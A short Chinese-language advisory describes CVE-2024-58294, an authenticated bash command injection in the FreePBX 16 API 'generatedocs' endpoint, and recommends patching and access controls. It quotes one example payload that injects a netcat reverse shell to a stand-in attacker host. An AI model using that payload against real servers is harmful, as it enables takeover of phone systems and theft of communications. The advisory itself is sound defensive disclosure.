CVE-2024-58294CVE-2024-58294是FreePBX 16中存在的一个高危认证后远程代码执行漏洞,CVSS评分高达8.8分。该漏洞源于FreePBX的API模块对用户输入缺乏充分的过滤和验证,攻击者只需拥有低权限的有效会话凭证,即可利用API接口执行任意操作系统命令。FreePBX是一个基于Asterisk的开源PBX电话系统,广泛应用于企业通信和呼叫中心场景,因此该漏洞对使用FreePBX构建通信基础设施的组织构成严重威胁。攻击者通过构造特定的POST请求,可以绕过正常的API调用流程,在服务器上执行任意bash命令,进而可能完全控制整个电话系统,窃取敏感的通信数据,甚至将恶意代码持久化以进行长期渗透。鉴于该漏洞无需用户交互即可被利用,且可通过网络远程触发,建议受影响的组织立即采取修复措施。
该漏洞存在于FreePBX 16的API模块中的'generatedocs'端点。攻击者利用此端点进行bash命令注入攻击。漏洞的技术原理如下:API模块在处理用户请求时,将用户可控的输入直接拼接到系统命令中执行,而未对特殊字符进行适当的过滤或转义。攻击者可以在POST请求的参数中注入分号、管道符等bash特殊字符,从而在服务器上执行任意命令。例如,攻击者可以构造类似';nc -e /bin/bash attacker.com 4444'的payload,通过反向shell获得服务器的交互式命令执行权限。攻击成功的关键前提是攻击者需要拥有有效的FreePBX会话凭证,但这些凭证可以通过多种途径获取,如暴力破解、社会工程学或利用其他低危漏洞。由于该漏洞影响的是API模块,任何能够访问API接口的已认证用户都可能成为潜在攻击者,因此建议对API访问进行严格的权限控制和审计。